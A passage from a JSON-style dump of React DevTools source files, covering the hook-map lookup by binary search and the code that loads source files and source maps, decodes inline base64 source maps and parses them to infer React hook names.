currentLine: $FlowFixMe | null = null;\n  hookNamesMapping.forEach(({name, start}) => {\n    let nameIndex = namesMap.get(name);\n    if (nameIndex == null) {\n      names.push(name);\n      nameIndex = names.length - 1;\n      namesMap.set(name, nameIndex);\n    }\n\n    // TODO: We add a -1 at the end of the entry so we can later\n    // encode/decode the mappings by reusing the encode/decode functions\n    // from the `sourcemap-codec` library. This library expects segments\n    // of specific sizes (i.e. of size 4) in order to encode them correctly.\n    // In the future, when we implement our own encoding, we will not\n    // need this restriction and can remove the -1 at the end.\n    const entry = [start.line, start.column, nameIndex, -1];\n\n    if (currentLine !== start.line) {\n      currentLine = start.line;\n      mappings.push([entry]);\n    } else {\n      const current = mappings[mappings.length - 1];\n      current.push(entry);\n    }\n  });\n\n  return {names, mappings};\n}\n\n/**\n * Returns encoded version of a Hook Map that is returned\n * by generateHookMap.\n *\n * **NOTE:**\n * TODO: To encode the `mappings` in the Hook Map, we\n * reuse the encode function from the `sourcemap-codec`\n * library, which means that we are restricted to only\n * encoding segments of specific sizes.\n * Inside generateHookMap we make sure to build segments\n * of size 4.\n * In the future, when we implement our own encoding, we will not\n * need this restriction and can remove the -1 at the end.\n */\nexport function generateEncodedHookMap(sourceAST: File): EncodedHookMap {\n  const hookMap = generateHookMap(sourceAST);\n  const encoded = encode(hookMap.mappings);\n  return {\n    names: hookMap.names,\n    mappings: encoded,\n  };\n}\n\nexport function decodeHookMap(encodedHookMap: EncodedHookMap): HookMap {\n  return {\n    names: encodedHookMap.names,\n    mappings: decode(encodedHookMap.mappings),\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/getHookNameForLocation.js",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {\n  HookMap,\n  HookMapEntry,\n  HookMapLine,\n  HookMapMappings,\n} from './generateHookMap';\nimport type {Position} from './astUtils';\nimport {NO_HOOK_NAME} from './astUtils';\n\n/**\n * Finds the Hook name assigned to a given location in the source code,\n * and a HookMap extracted from an extended source map.\n * The given location must correspond to the location in the *original*\n * source code (i.e. *not* the generated one).\n *\n * Note that all locations in the source code are guaranteed to map\n * to a name, including a sentinel value that represents a missing\n * Hook name: '<no-hook>'.\n *\n * For more details on the format of the HookMap, see generateHookMap\n * and the tests for that function and this function.\n */\nexport function getHookNameForLocation(\n  location: Position,\n  hookMap: HookMap,\n): string | null {\n  const {names, mappings} = hookMap;\n\n  // The HookMap mappings are grouped by lines, so first we look up\n  // which line of mappings covers the target location.\n  // Note that we expect to find a line since all the locations in the\n  // source code are guaranteed to map to a name, including a '<no-hook>'\n  // name.\n  const foundLine = binSearch(location, mappings, compareLinePositions);\n  if (foundLine == null) {\n    throw new Error(\n      `Expected to find a line in the HookMap that covers the target location at line: ${location.line}, column: ${location.column}`,\n    );\n  }\n\n  let foundEntry;\n  const foundLineNumber = getLineNumberFromLine(foundLine);\n  // The line found in the mappings will never be larger than the target\n  // line, and vice-versa, so if the target line doesn't match the found\n  // line, we immediately know that it must correspond to the last mapping\n  // entry for that line.\n  if (foundLineNumber !== location.line) {\n    foundEntry = foundLine[foundLine.length - 1];\n  } else {\n    foundEntry = binSearch(location, foundLine, compareColumnPositions);\n  }\n\n  if (foundEntry == null) {\n    throw new Error(\n      `Expected to find a mapping in the HookMap that covers the target location at line: ${location.line}, column: ${location.column}`,\n    );\n  }\n\n  const foundNameIndex = getHookNameIndexFromEntry(foundEntry);\n  if (foundNameIndex == null) {\n    throw new Error(\n      `Expected to find a name index in the HookMap that covers the target location at line: ${location.line}, column: ${location.column}`,\n    );\n  }\n  const foundName = names[foundNameIndex];\n  if (foundName == null) {\n    throw new Error(\n      `Expected to find a name in the HookMap that covers the target location at line: ${location.line}, column: ${location.column}`,\n    );\n  }\n\n  if (foundName === NO_HOOK_NAME) {\n    return null;\n  }\n  return foundName;\n}\n\nfunction binSearch<T>(\n  location: Position,\n  items: T[],\n  compare: (\n    location: Position,\n    items: T[],\n    index: number,\n  ) => {index: number | null, direction: number},\n): T | null {\n  let count = items.length;\n  let index = 0;\n  let firstElementIndex = 0;\n  let step;\n\n  while (count > 0) {\n    index = firstElementIndex;\n    step = Math.floor(count / 2);\n    index += step;\n\n    const comparison = compare(location, items, index);\n    if (comparison.direction === 0) {\n      if (comparison.index == null) {\n        throw new Error('Expected an index when matching element is found.');\n      }\n      firstElementIndex = comparison.index;\n      break;\n    }\n\n    if (comparison.direction > 0) {\n      index++;\n      firstElementIndex = index;\n      count -= step + 1;\n    } else {\n      count = step;\n    }\n  }\n\n  return firstElementIndex != null ? items[firstElementIndex] : null;\n}\n\n/**\n * Compares the target line location to the current location\n * given by the provided index.\n *\n * If the target line location matches the current location, returns\n * the index of the matching line in the mappings. In order for a line\n * to match, the target line must match the line exactly, or be within\n * the line range of the current line entries and the adjacent line\n * entries.\n *\n * If the line doesn't match, returns the search direction for the\n * next step in the binary search.\n */\nfunction compareLinePositions(\n  location: Position,\n  mappings: HookMapMappings,\n  index: number,\n): {index: number | null, direction: number} {\n  const startIndex = index;\n  const start = mappings[startIndex];\n  if (start == null) {\n    throw new Error(`Unexpected line missing in HookMap at index ${index}.`);\n  }\n  const startLine = getLineNumberFromLine(start);\n\n  let endLine;\n  let endIndex = index + 1;\n  const end = mappings[endIndex];\n  if (end != null) {\n    endLine = getLineNumberFromLine(end);\n  } else {\n    endIndex = startIndex;\n    endLine = startLine;\n  }\n\n  // When the line matches exactly, return the matching index\n  if (startLine === location.line) {\n    return {index: startIndex, direction: 0};\n  }\n  if (endLine === location.line) {\n    return {index: endIndex, direction: 0};\n  }\n\n  // If we're at the end of the mappings, and the target line is greater\n  // than the current line, then this final line must cover the\n  // target location, so we return it.\n  if (location.line > endLine && end == null) {\n    return {index: endIndex, direction: 0};\n  }\n\n  // If the location is within the current line and the adjacent one,\n  // we know that the target location must be covered by the current line.\n  if (startLine < location.line && location.line < endLine) {\n    return {index: startIndex, direction: 0};\n  }\n\n  // Otherwise, return the next direction in the search.\n  return {index: null, direction: location.line - startLine};\n}\n\n/**\n * Compares the target column location to the current location\n * given by the provided index.\n *\n * If the target column location matches the current location, returns\n * the index of the matching entry in the mappings. In order for a column\n * to match, the target column must match the column exactly, or be within\n * the column range of the current entry and the adjacent entry.\n *\n * If the column doesn't match, returns the search direction for the\n * next step in the binary search.\n */\nfunction compareColumnPositions(\n  location: Position,\n  line: HookMapLine,\n  index: number,\n): {index: number | null, direction: number} {\n  const startIndex = index;\n  const start = line[index];\n  if (start == null) {\n    throw new Error(\n      `Unexpected mapping missing in HookMap line at index ${index}.`,\n    );\n  }\n  const startColumn = getColumnNumberFromEntry(start);\n\n  let endColumn;\n  let endIndex = index + 1;\n  const end = line[endIndex];\n  if (end != null) {\n    endColumn = getColumnNumberFromEntry(end);\n  } else {\n    endIndex = startIndex;\n    endColumn = startColumn;\n  }\n\n  // When the column matches exactly, return the matching index\n  if (startColumn === location.column) {\n    return {index: startIndex, direction: 0};\n  }\n  if (endColumn === location.column) {\n    return {index: endIndex, direction: 0};\n  }\n\n  // If we're at the end of the entries for this line, and the target\n  // column is greater than the current column, then this final entry\n  // must cover the target location, so we return it.\n  if (location.column > endColumn && end == null) {\n    return {index: endIndex, direction: 0};\n  }\n\n  // If the location is within the current column and the adjacent one,\n  // we know that the target location must be covered by the current entry.\n  if (startColumn < location.column && location.column < endColumn) {\n    return {index: startIndex, direction: 0};\n  }\n\n  // Otherwise, return the next direction in the search.\n  return {index: null, direction: location.column - startColumn};\n}\n\nfunction getLineNumberFromLine(line: HookMapLine): number {\n  return getLineNumberFromEntry(line[0]);\n}\n\nfunction getLineNumberFromEntry(entry: HookMapEntry): number {\n  const lineNumber = entry[0];\n  if (lineNumber == null) {\n    throw new Error('Unexpected line number missing in entry in HookMap');\n  }\n  return lineNumber;\n}\n\nfunction getColumnNumberFromEntry(entry: HookMapEntry): number {\n  const columnNumber = entry[1];\n  if (columnNumber == null) {\n    throw new Error('Unexpected column number missing in entry in HookMap');\n  }\n  return columnNumber;\n}\n\nfunction getHookNameIndexFromEntry(entry: HookMapEntry): number {\n  const hookNameIndex = entry[2];\n  if (hookNameIndex == null) {\n    throw new Error('Unexpected hook name index missing in entry in HookMap');\n  }\n  return hookNameIndex;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/parseHookNames/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {HookSourceAndMetadata} from './loadSourceAndMetadata';\nimport type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {HookNames} from 'react-devtools-shared/src/frontend/types';\nimport type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\n\nimport 'react';\n\nimport {withAsyncPerfMeasurements} from 'react-devtools-shared/src/PerformanceLoggingUtils';\nimport WorkerizedParseSourceAndMetadata from './parseSourceAndMetadata.worker';\nimport typeof * as ParseSourceAndMetadataModule from './parseSourceAndMetadata';\nimport {flattenHooksList, loadSourceAndMetadata} from './loadSourceAndMetadata';\n\nconst workerizedParseHookNames: ParseSourceAndMetadataModule =\n  WorkerizedParseSourceAndMetadata();\n\nexport function parseSourceAndMetadata(\n  hooksList: Array<HooksNode>,\n  locationKeyToHookSourceAndMetadata: Map<string, HookSourceAndMetadata>,\n): Promise<HookNames | null> {\n  return workerizedParseHookNames.parseSourceAndMetadata(\n    hooksList,\n    locationKeyToHookSourceAndMetadata,\n  );\n}\n\nexport const purgeCachedMetadata = workerizedParseHookNames.purgeCachedMetadata;\n\nconst EMPTY_MAP: HookNames = new Map();\n\nexport async function parseHookNames(\n  hooksTree: HooksTree,\n  fetchFileWithCaching: FetchFileWithCaching | null,\n): Promise<HookNames | null> {\n  return withAsyncPerfMeasurements('parseHookNames', async () => {\n    const hooksList = flattenHooksList(hooksTree);\n    if (hooksList.length === 0) {\n      // This component tree contains no named hooks.\n      return EMPTY_MAP;\n    }\n\n    // Runs on the main/UI thread so it can reuse Network cache:\n    const locationKeyToHookSourceAndMetadata = await loadSourceAndMetadata(\n      hooksList,\n      fetchFileWithCaching,\n    );\n\n    // Runs in a Worker because it's CPU intensive:\n    return parseSourceAndMetadata(\n      hooksList,\n      locationKeyToHookSourceAndMetadata,\n    );\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/parseHookNames/loadSourceAndMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Parsing source and source maps is done in a Web Worker\n// because parsing is CPU intensive and should not block the UI thread.\n//\n// Fetching source and source map files is intentionally done on the UI thread\n// so that loaded source files can reuse the browser's Network cache.\n// Requests made from within an extension do not share the page's Network cache,\n// but messages can be sent from the UI thread to the content script\n// which can make a request from the page's context (with caching).\n//\n// Some overhead may be incurred sharing (serializing) the loaded data between contexts,\n// but less than fetching the file to begin with,\n// and in some cases we can avoid serializing the source code at all\n// (e.g. when we are in an environment that supports our custom metadata format).\n//\n// The overall flow of this file is such:\n// 1. Find the Set of source files defining the hooks and load them all.\n//    Then for each source file, do the following:\n//\n//    a. Search loaded source file to see if a source map is available.\n//       If so, load that file and pass it to a Worker for parsing.\n//       The source map is used to retrieve the original source,\n//       which is then also parsed in the Worker to infer hook names.\n//       This is less ideal because parsing a full source map is slower,\n//       since we need to evaluate the mappings in order to map the runtime code to the original source,\n//       but at least the eventual source that we parse to an AST is small/fast.\n//\n//    b. If no source map, pass the full source to a Worker for parsing.\n//       Use the source to infer hook names.\n//       This is the least optimal route as parsing the full source is very CPU intensive.\n//\n// In the future, we may add an additional optimization the above sequence.\n// This check would come before the source map check:\n//\n//    a. Search loaded source file to see if a custom React metadata file is available.\n//       If so, load that file and pass it to a Worker for parsing and extracting.\n//       This is the fastest option since our custom metadata file is much smaller than a full source map,\n//       and there is no need to convert runtime code to the original source.\n\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\nimport {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';\nimport {sourceMapIncludesSource} from '../SourceMapUtils';\nimport {\n  withAsyncPerfMeasurements,\n  withCallbackPerfMeasurements,\n  withSyncPerfMeasurements,\n} from 'react-devtools-shared/src/PerformanceLoggingUtils';\n\nimport type {\n  HooksNode,\n  HookSource,\n  HooksTree,\n} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {MixedSourceMap} from '../SourceMapTypes';\nimport type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\n\n// Prefer a cached albeit stale response to reduce download time.\n// We wouldn't want to load/parse a newer version of the source (even if one existed).\nconst FETCH_OPTIONS = {cache: 'force-cache' as CacheType};\n\nconst MAX_SOURCE_LENGTH = 100_000_000;\n\nexport type HookSourceAndMetadata = {\n  // Generated by react-debug-tools.\n  hookSource: HookSource,\n\n  // Compiled code (React components or custom hooks) containing primitive hook calls.\n  runtimeSourceCode: string | null,\n\n  // Same as hookSource.fileName but guaranteed to be non-null.\n  runtimeSourceURL: string,\n\n  // Raw source map JSON.\n  // Either decoded from an inline source map or loaded from an externa source map file.\n  // Sources without source maps won't have this.\n  sourceMapJSON: MixedSourceMap | null,\n\n  // External URL of source map.\n  // Sources without source maps (or with inline source maps) won't have this.\n  sourceMapURL: string | null,\n};\n\nexport type LocationKeyToHookSourceAndMetadata = Map<\n  string,\n  HookSourceAndMetadata,\n>;\nexport type HooksList = Array<HooksNode>;\n\nexport async function loadSourceAndMetadata(\n  hooksList: HooksList,\n  fetchFileWithCaching: FetchFileWithCaching | null,\n): Promise<LocationKeyToHookSourceAndMetadata> {\n  return withAsyncPerfMeasurements('loadSourceAndMetadata()', async () => {\n    const locationKeyToHookSourceAndMetadata = withSyncPerfMeasurements(\n      'initializeHookSourceAndMetadata',\n      () => initializeHookSourceAndMetadata(hooksList),\n    );\n\n    await withAsyncPerfMeasurements('loadSourceFiles()', () =>\n      loadSourceFiles(locationKeyToHookSourceAndMetadata, fetchFileWithCaching),\n    );\n\n    await withAsyncPerfMeasurements('extractAndLoadSourceMapJSON()', () =>\n      extractAndLoadSourceMapJSON(locationKeyToHookSourceAndMetadata),\n    );\n\n    // At this point, we've loaded JS source (text) and source map (JSON).\n    // The remaining works (parsing these) is CPU intensive and should be done in a worker.\n    return locationKeyToHookSourceAndMetadata;\n  });\n}\n\nfunction decodeBase64String(encoded: string): Object {\n  return atob(encoded);\n}\n\nfunction extractAndLoadSourceMapJSON(\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n): Promise<mixed> {\n  // Deduplicate fetches, since there can be multiple location keys per source map.\n  const dedupedFetchPromises = new Map<string, Promise<$FlowFixMe>>();\n\n  if (__DEBUG__) {\n    console.log(\n      'extractAndLoadSourceMapJSON() load',\n      locationKeyToHookSourceAndMetadata.size,\n      'source maps',\n    );\n  }\n\n  const setterPromises = [];\n  locationKeyToHookSourceAndMetadata.forEach(hookSourceAndMetadata => {\n    const sourceMapRegex = / ?sourceMappingURL=([^\\s'\"]+)/gm;\n    const runtimeSourceCode =\n      ((hookSourceAndMetadata.runtimeSourceCode: any): string);\n\n    // TODO (named hooks) Search for our custom metadata first.\n    // If it's found, we should use it rather than source maps.\n\n    // TODO (named hooks) If this RegExp search is slow, we could try breaking it up\n    // first using an indexOf(' sourceMappingURL=') to find the start of the comment\n    // (probably at the end of the file) and then running the RegExp on the remaining substring.\n    let sourceMappingURLMatch = withSyncPerfMeasurements(\n      'sourceMapRegex.exec(runtimeSourceCode)',\n      () => sourceMapRegex.exec(runtimeSourceCode),\n    );\n\n    if (sourceMappingURLMatch == null) {\n      if (__DEBUG__) {\n        console.log('extractAndLoadSourceMapJSON() No source map found');\n      }\n\n      // Maybe file has not been transformed; we'll try to parse it as-is in parseSourceAST().\n    } else {\n      const externalSourceMapURLs = [];\n      while (sourceMappingURLMatch != null) {\n        const {runtimeSourceURL} = hookSourceAndMetadata;\n        const sourceMappingURL = sourceMappingURLMatch[1];\n        const hasInlineSourceMap = sourceMappingURL.indexOf('base64,') >= 0;\n        if (hasInlineSourceMap) {\n          try {\n            // TODO (named hooks) deduplicate parsing in this branch (similar to fetching in the other branch)\n            // since there can be multiple location keys per source map.\n\n            // Web apps like Code Sandbox embed multiple inline source maps.\n            // In this case, we need to loop through and find the right one.\n            // We may also need to trim any part of this string that isn't based64 encoded data.\n            const trimmed = ((sourceMappingURL.match(\n              /base64,([a-zA-Z0-9+\\/=]+)/,\n            ): any): Array<string>)[1];\n            const decoded = withSyncPerfMeasurements(\n              'decodeBase64String()',\n              () => decodeBase64String(trimmed),\n            );\n\n            const sourceMapJSON = withSyncPerfMeasurements(\n              'JSON.parse(decoded)',\n              () => JSON.parse(decoded),\n            );\n\n            if (__DEBUG__) {\n              console.groupCollapsed(\n                'extractAndLoadSourceMapJSON() Inline source map',\n              );\n              console.log(sourceMapJSON);\n              console.groupEnd();\n            }\n\n            // Hook source might be a URL like \"https://4syus.csb.app/src/App.js\"\n            // Parsed source map might be a partial path like \"src/App.js\"\n            if (sourceMapIncludesSource(sourceMapJSON, runtimeSourceURL)) {\n              hookSourceAndMetadata.sourceMapJSON = sourceMapJSON;\n\n              // OPTIMIZATION If we've located a source map for this source,\n              // we'll use it to retrieve the original source (to extract hook names).\n              // We only fall back to parsing the full source code is when there's no source map.\n              // The source is (potentially) very large,\n              // So we can avoid the overhead of serializing it unnecessarily.\n              hookSourceAndMetadata.runtimeSourceCode = null;\n\n              break;\n            }\n          } catch (error) {\n            // We've likely encountered a string in the source code that looks like a source map but isn't.\n            // Maybe the source code contains a \"sourceMappingURL\" comment or soething similar.\n            // In either case, let's skip this and keep looking.\n          }\n        } else {\n          externalSourceMapURLs.push(sourceMappingURL);\n        }\n\n        // If the first source map we found wasn't a match, check for more.\n        sourceMappingURLMatch = withSyncPerfMeasurements(\n          'sourceMapRegex.exec(runtimeSourceCode)',\n          () => sourceMapRegex.exec(runtimeSourceCode),\n        );\n      }\n\n      if (hookSourceAndMetadata.sourceMapJSON === null) {\n        externalSourceMapURLs.forEach((sourceMappingURL, index) => {\n          if (index !== externalSourceMapURLs.length - 1) {\n            // Files with external source maps should only have a single source map.\n            // More than one result might indicate an edge case,\n            // like a string in the source code that matched our \"sourceMappingURL\" regex.\n            // We should just skip over cases like this.\n            console.warn(\n              `More than one external source map detected in the source file; skipping \"${sourceMappingURL}\"`,\n            );\n            return;\n          }\n\n          const {runtimeSourceURL} = hookSourceAndMetadata;\n          let url = sourceMappingURL;\n          if (!url.startsWith('http') && !url.startsWith('/')) {\n            // Resolve paths relative to the location of the file name\n            const lastSlashIdx = runtimeSourceURL.lastIndexOf('/');\n            if (lastSlashIdx !== -1) {\n              const baseURL = runtimeSourceURL.slice(\n                0,\n                runtimeSourceURL.lastIndexOf('/'),\n              );\n              url = `${baseURL}/${url}`;\n            }\n          }\n\n          hookSourceAndMetadata.sourceMapURL = url;\n\n          const fetchPromise =\n            dedupedFetchPromises.get(url) ||\n            fetchFile(url).then(\n              sourceMapContents => {\n                const sourceMapJSON = withSyncPerfMeasurements(\n                  'JSON.parse(sourceMapContents)',\n                  () => JSON.parse(sourceMapContents),\n                );\n\n                return sourceMapJSON;\n              },\n\n              // In this case, we fall back to the assumption that the source has no source map.\n              // This might indicate an (unlikely) edge case that had no source map,\n              // but contained the string \"sourceMappingURL\".\n              error => null,\n            );\n\n          if (__DEBUG__) {\n            if (!dedupedFetchPromises.has(url)) {\n              console.log(\n                `extractAndLoadSourceMapJSON() External source map \"${url}\"`,\n              );\n            }\n          }\n\n          dedupedFetchPromises.set(url, fetchPromise);\n\n          setterPromises.push(\n            fetchPromise.then(sourceMapJSON => {\n              if (sourceMapJSON !== null) {\n                hookSourceAndMetadata.sourceMapJSON = sourceMapJSON;\n\n                // OPTIMIZATION If we've located a source map for this source,\n                // we'll use it to retrieve the original source (to extract hook names).\n                // We only fall back to parsing the full source code is when there's no source map.\n                // The source is (potentially) very large,\n                // So we can avoid the overhead of serializing it unnecessarily.\n                hookSourceAndMetadata.runtimeSourceCode = null;\n              }\n            }),\n          );\n        });\n      }\n    }\n  });\n\n  return Promise.all(setterPromises);\n}\n\nfunction fetchFile(\n  url: string,\n  markName: string = 'fetchFile',\n): Promise<string> {\n  return withCallbackPerfMeasurements(`${markName}(\"${url}\")`, done => {\n    return new Promise((resolve, reject) => {\n      fetch(url, FETCH_OPTIONS).then(\n        response => {\n          if (response.ok) {\n            response\n              .text()\n              .then(text => {\n                done();\n                resolve(text);\n              })\n              .catch(error => {\n                if (__DEBUG__) {\n                  console.log(\n                    `${markName}() Could not read text for url \"${url}\"`,\n                  );\n                }\n                done();\n                reject(null);\n              });\n          } else {\n            if (__DEBUG__) {\n              console.log(`${markName}() Got bad response for url \"${url}\"`);\n            }\n            done();\n            reject(null);\n          }\n        },\n        error => {\n          if (__DEBUG__) {\n            console.log(`${markName}() Could not fetch file: ${error.message}`);\n          }\n          done();\n          reject(null);\n        },\n      );\n    });\n  });\n}\n\nexport function hasNamedHooks(hooksTree: HooksTree): boolean {\n  for (let i = 0; i < hooksTree.length; i++) {\n    const hook = hooksTree[i];\n\n    if (!isUnnamedBuiltInHook(hook)) {\n      return true;\n    }\n\n    if (hook.subHooks.length > 0) {\n      if (hasNamedHooks(hook.subHooks)) {\n        return true;\n      }\n    }\n  }\n\n  return false;\n}\n\nexport function flattenHooksList(hooksTree: HooksTree): HooksList {\n  const hooksList: HooksList = [];\n  withSyncPerfMeasurements('flattenHooksList()', () => {\n    flattenHooksListImpl(hooksTree, hooksList);\n  });\n\n  if (__DEBUG__) {\n    console.log('flattenHooksList() hooksList:', hooksList);\n  }\n\n  return hooksList;\n}\n\nfunction flattenHooksListImpl(\n  hooksTree: HooksTree,\n  hooksList: Array<HooksNode>,\n): void {\n  for (let i = 0; i < hooksTree.length; i++) {\n    const hook = hooksTree[i];\n\n    if (isUnnamedBuiltInHook(hook)) {\n      // No need to load source code or do any parsing for unnamed hooks.\n      if (__DEBUG__) {\n        console.log('flattenHooksListImpl() Skipping unnamed hook', hook);\n      }\n\n      continue;\n    }\n\n    hooksList.push(hook);\n\n    if (hook.subHooks.length > 0) {\n      flattenHooksListImpl(hook.subHooks, hooksList);\n    }\n  }\n}\n\nfunction initializeHookSourceAndMetadata(\n  hooksList: Array<HooksNode>,\n): LocationKeyToHookSourceAndMetadata {\n  // Create map of unique source locations (file names plus line and column numbers) to metadata about hooks.\n  const locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata =\n    new Map();\n  for (let i = 0; i < hooksList.length; i++) {\n    const hook = hooksList[i];\n\n    const hookSource = hook.hookSource;\n    if (hookSource == null) {\n      // Older versions of react-debug-tools don't include this information.\n      // In this case, we can't continue.\n      throw Error('Hook source code location not found.');\n    }\n\n    const locationKey = getHookSourceLocationKey(hookSource);\n    if (!locationKeyToHookSourceAndMetadata.has(locationKey)) {\n      // Can't be null because getHookSourceLocationKey() would have thrown\n      const runtimeSourceURL = ((hookSource.fileName: any): string);\n\n      const hookSourceAndMetadata: HookSourceAndMetadata = {\n        hookSource,\n        runtimeSourceCode: null,\n        runtimeSourceURL,\n        sourceMapJSON: null,\n        sourceMapURL: null,\n      };\n\n      locationKeyToHookSourceAndMetadata.set(\n        locationKey,\n        hookSourceAndMetadata,\n      );\n    }\n  }\n\n  return locationKeyToHookSourceAndMetadata;\n}\n\n// Determines whether incoming hook is a primitive hook that gets assigned to variables.\nfunction isUnnamedBuiltInHook(hook: HooksNode) {\n  return ['Effect', 'ImperativeHandle', 'LayoutEffect', 'DebugValue'].includes(\n    hook.name,\n  );\n}\n\nfunction loadSourceFiles(\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n  fetchFileWithCaching: FetchFileWithCaching | null,\n): Promise<mixed> {\n  // Deduplicate fetches, since there can be multiple location keys per file.\n  const dedupedFetchPromises = new Map<string, Promise<$FlowFixMe>>();\n\n  const setterPromises = [];\n  locationKeyToHookSourceAndMetadata.forEach(hookSourceAndMetadata => {\n    const {runtimeSourceURL} = hookSourceAndMetadata;\n\n    let fetchFileFunction = fetchFile;\n    if (fetchFileWithCaching != null) {\n      // If a helper function has been injected to fetch with caching,\n      // use it to fetch the (already loaded) source file.\n      fetchFileFunction = url => {\n        return withAsyncPerfMeasurements(\n          `fetchFileWithCaching(\"${url}\")`,\n          () => {\n            return ((fetchFileWithCaching: any): FetchFileWithCaching)(url);\n          },\n        );\n      };\n    }\n\n    const fetchPromise =\n      dedupedFetchPromises.get(runtimeSourceURL) ||\n      (runtimeSourceURL && !runtimeSourceURL.startsWith('<anonymous')\n        ? fetchFileFunction(runtimeSourceURL).then(runtimeSourceCode => {\n            // TODO (named hooks) Re-think this; the main case where it matters is when there's no source-maps,\n            // because then we need to parse the full source file as an AST.\n            if (runtimeSourceCode.length > MAX_SOURCE_LENGTH) {\n              throw Error('Source code too large to parse');\n            }\n\n            if (__DEBUG__) {\n              console.groupCollapsed(\n                `loadSourceFiles() runtimeSourceURL \"${runtimeSourceURL}\"`,\n              );\n              console.log(runtimeSourceCode);\n              console.groupEnd();\n            }\n\n            return runtimeSourceCode;\n          })\n        : Promise.reject(new Error('Empty url')));\n    dedupedFetchPromises.set(runtimeSourceURL, fetchPromise);\n\n    setterPromises.push(\n      fetchPromise.then(runtimeSourceCode => {\n        hookSourceAndMetadata.runtimeSourceCode = runtimeSourceCode;\n      }),\n    );\n  });\n\n  return Promise.all(setterPromises);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// For an overview of why the code in this file is structured this way,\n// refer to header comments in loadSourceAndMetadata.\n\nimport {parse} from '@babel/parser';\nimport LRU from 'lru-cache';\nimport {getHookName} from '../astUtils';\nimport {areSourceMapsAppliedToErrors} from '../ErrorTester';\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\nimport {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';\nimport {SourceMapMetadataConsumer} from '../SourceMapMetadataConsumer';\nimport {\n  withAsyncPerfMeasurements,\n  withSyncPerfMeasurements,\n} from 'react-devtools-shared/src/PerformanceLoggingUtils';\nimport SourceMapConsumer from '../SourceMapConsumer';\n\nimport type {SourceMapConsumerType} from '../SourceMapConsumer';\nimport type {\n  HooksList,\n  LocationKeyToHookSourceAndMetadata,\n} from './loadSourceAndMetadata';\nimport type {HookSource} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {\n  HookNames,\n  LRUCache,\n} from 'react-devtools-shared/src/frontend/types';\n\ntype AST = mixed;\n\ntype HookParsedMetadata = {\n  // API for consuming metadfata present in extended source map.\n  metadataConsumer: SourceMapMetadataConsumer | null,\n\n  // AST for original source code; typically comes from a consumed source map.\n  originalSourceAST: AST | null,\n\n  // Source code (React components or custom hooks) containing primitive hook calls.\n  // If no source map has been provided, this code will be the same as runtimeSourceCode.\n  originalSourceCode: string | null,\n\n  // Original source URL if there is a source map, or the same as runtimeSourceURL.\n  originalSourceURL: string | null,\n\n  // Line number in original source code.\n  originalSourceLineNumber: number | null,\n\n  // Column number in original source code.\n  originalSourceColumnNumber: number | null,\n\n  // Alternate APIs from source-map for parsing source maps (if detected).\n  sourceMapConsumer: SourceMapConsumerType | null,\n};\n\ntype LocationKeyToHookParsedMetadata = Map<string, HookParsedMetadata>;\n\ntype CachedRuntimeCodeMetadata = {\n  metadataConsumer: SourceMapMetadataConsumer | null,\n  sourceMapConsumer: SourceMapConsumerType | null,\n};\n\nconst runtimeURLToMetadataCache: LRUCache<string, CachedRuntimeCodeMetadata> =\n  new LRU({max: 50});\n\ntype CachedSourceCodeMetadata = {\n  originalSourceAST: AST,\n  originalSourceCode: string,\n};\n\nconst originalURLToMetadataCache: LRUCache<string, CachedSourceCodeMetadata> =\n  new LRU({\n    max: 50,\n    dispose: (\n      originalSourceURL: string,\n      metadata: CachedSourceCodeMetadata,\n    ) => {\n      if (__DEBUG__) {\n        console.log(\n          `originalURLToMetadataCache.dispose() Evicting cached metadata for \"${originalSourceURL}\"`,\n        );\n      }\n    },\n  });\n\nexport async function parseSourceAndMetadata(\n  hooksList: HooksList,\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n): Promise<HookNames | null> {\n  return withAsyncPerfMeasurements('parseSourceAndMetadata()', async () => {\n    const locationKeyToHookParsedMetadata = withSyncPerfMeasurements(\n      'initializeHookParsedMetadata',\n      () => initializeHookParsedMetadata(locationKeyToHookSourceAndMetadata),\n    );\n\n    withSyncPerfMeasurements('parseSourceMaps', () =>\n      parseSourceMaps(\n        locationKeyToHookSourceAndMetadata,\n        locationKeyToHookParsedMetadata,\n      ),\n    );\n\n    withSyncPerfMeasurements('parseSourceAST()', () =>\n      parseSourceAST(\n        locationKeyToHookSourceAndMetadata,\n        locationKeyToHookParsedMetadata,\n      ),\n    );\n\n    return withSyncPerfMeasurements('findHookNames()', () =>\n      findHookNames(hooksList, locationKeyToHookParsedMetadata),\n    );\n  });\n}\n\nfunction findHookNames(\n  hooksList: HooksList,\n  locationKeyToHookParsedMetadata: LocationKeyToHookParsedMetadata,\n): HookNames {\n  const map: HookNames = new Map();\n\n  hooksList.map(hook => {\n    // We already guard against 